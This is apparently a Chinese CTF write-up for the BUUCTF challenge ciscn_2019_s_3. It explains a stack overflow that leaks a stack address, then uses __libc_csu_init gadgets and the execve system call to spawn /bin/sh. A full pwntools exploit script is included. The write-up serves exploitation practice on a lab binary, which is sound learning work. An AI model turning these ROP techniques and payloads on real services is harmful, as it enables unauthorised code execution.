栈溢出-srop

栈和格式化一堆坑等着填=-=

今日笔记 栈溢出利用59号系统调用

execve(“/bin/sh”,0,0)

概述

题目来源buuctf——ciscn_2019_s_3

进入关键函数看看

进行了系统调用读入0x400

输入0x30

变量buf距离返回地址0x10

可以得知会泄露变量后的0x20大小的数据

1.png

这里还有一个gadget函数

0xF是15号系统调用 sigretrun 用来在系统调用终止时恢复用户的程序环境

我们可以在栈上伪造寄存器的值,等调用0XF这个系统号我们就可以去控制寄存器

让他变成我想要的值

0x3B是59号系统调用execve(“/bin/sh”,0,0)有3个参数,第一个/bin/sh\x00

后面两个用0填充,我们就要想办法去把相关命令写入59号

这里我只会用59号系统调用,关于15号的改天再说,现在已经半夜两点了学不动了

2.png

题解

题目会自动去输出一部分内容,这个内容就是起始栈地址

我们先传入命令

然后我们用pop_rbx_rbp_r12_r13_r14_r15去为传入59号系统调用参数做铺垫

我们输入的变量存放在了r12

我们可以用mov_rdx_r13_call 去call r12 执行里面的命令

接着寻找 59号系统调用的ret去跳转到pop_rdi进行压栈

把r12里面的东西压栈 最后执行system call

(题目里面的读写操作都是用的系统调用方式,在汇编代码里可以看见system call地址)

ps:pop_rbx_rbp_r12_r13_r14_r15以及mov_rdx_r13_call的地址是在函数

__libc_csu_init里面

起始栈地址-变量存放栈地址=offset

如图调试

我们上面分析了会泄露0x20大小的东西,所以变量栈地址加0x20就是栈地址

offset=0x118

题目里面泄露的是起始栈地址,减去偏移后才是变量所在位置

这个起始栈地址就是进入main函数的rsi

3.png

用ROPgadget –binary c3 –only ‘pop|pop|pop|ret’

查看prrrrrr

接着去寻找59号系统调用的ret mov rax 3bh ; ret

继续看这幅图

在变量栈地址+0x50的地方有和+0x20一样的地址内容

说明变量栈地址+0x50就是我们要找的ret地址

3.png

上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

r=process('./c3')

elf=ELF('./c3')

context.log_level='debug'

prrrrrr=0x000000000040059a
#(这个prrrrrrr自己去csu函数的汇编语言看,起始地址就是pop rbx的地址)
pop_rdi=0x00000000004005a3
sysecve_addr = 0x004004E2
syscall_addr =0x400501
vuln_addr = 0x0004004ED
mov_rdx_r13_call = 0x0400580

payload='a'*16+p64(vuln_addr)
#(buf距离返回地址0x10我们这里不需要跳出这个函数so不要额外加8)
r.send(payload)
#不要用sendline,会影响到地址的接受
r.recv(0x20)
#为什么是0x20?我们可以先用len(r.recv())看看泄露一共多长,这里是48
#我们要的起始地址是长度为16所以我们先接收32个字符
leak=u64(r.recv(6).ljust(8,'\x00'))-0x118


payload='/bin/sh\x00'+'a'*8
payload+=p64(prrrrrr)
payload+=p64(0)*2#填充ecve后面两个参数
payload+=p64(leak+0x50)
payload+=p64(0)*3#此处无法将命令直接传入rdi,我们要跳到他的低32位edi
payload+=p64(mov_rdx_r13_call)
payload+=p64(sysecve_addr)
payload+=p64(pop_rdi)+p64(leak)+p64(syscall_addr)

r.send(payload)
r.interactive()

结果

4.png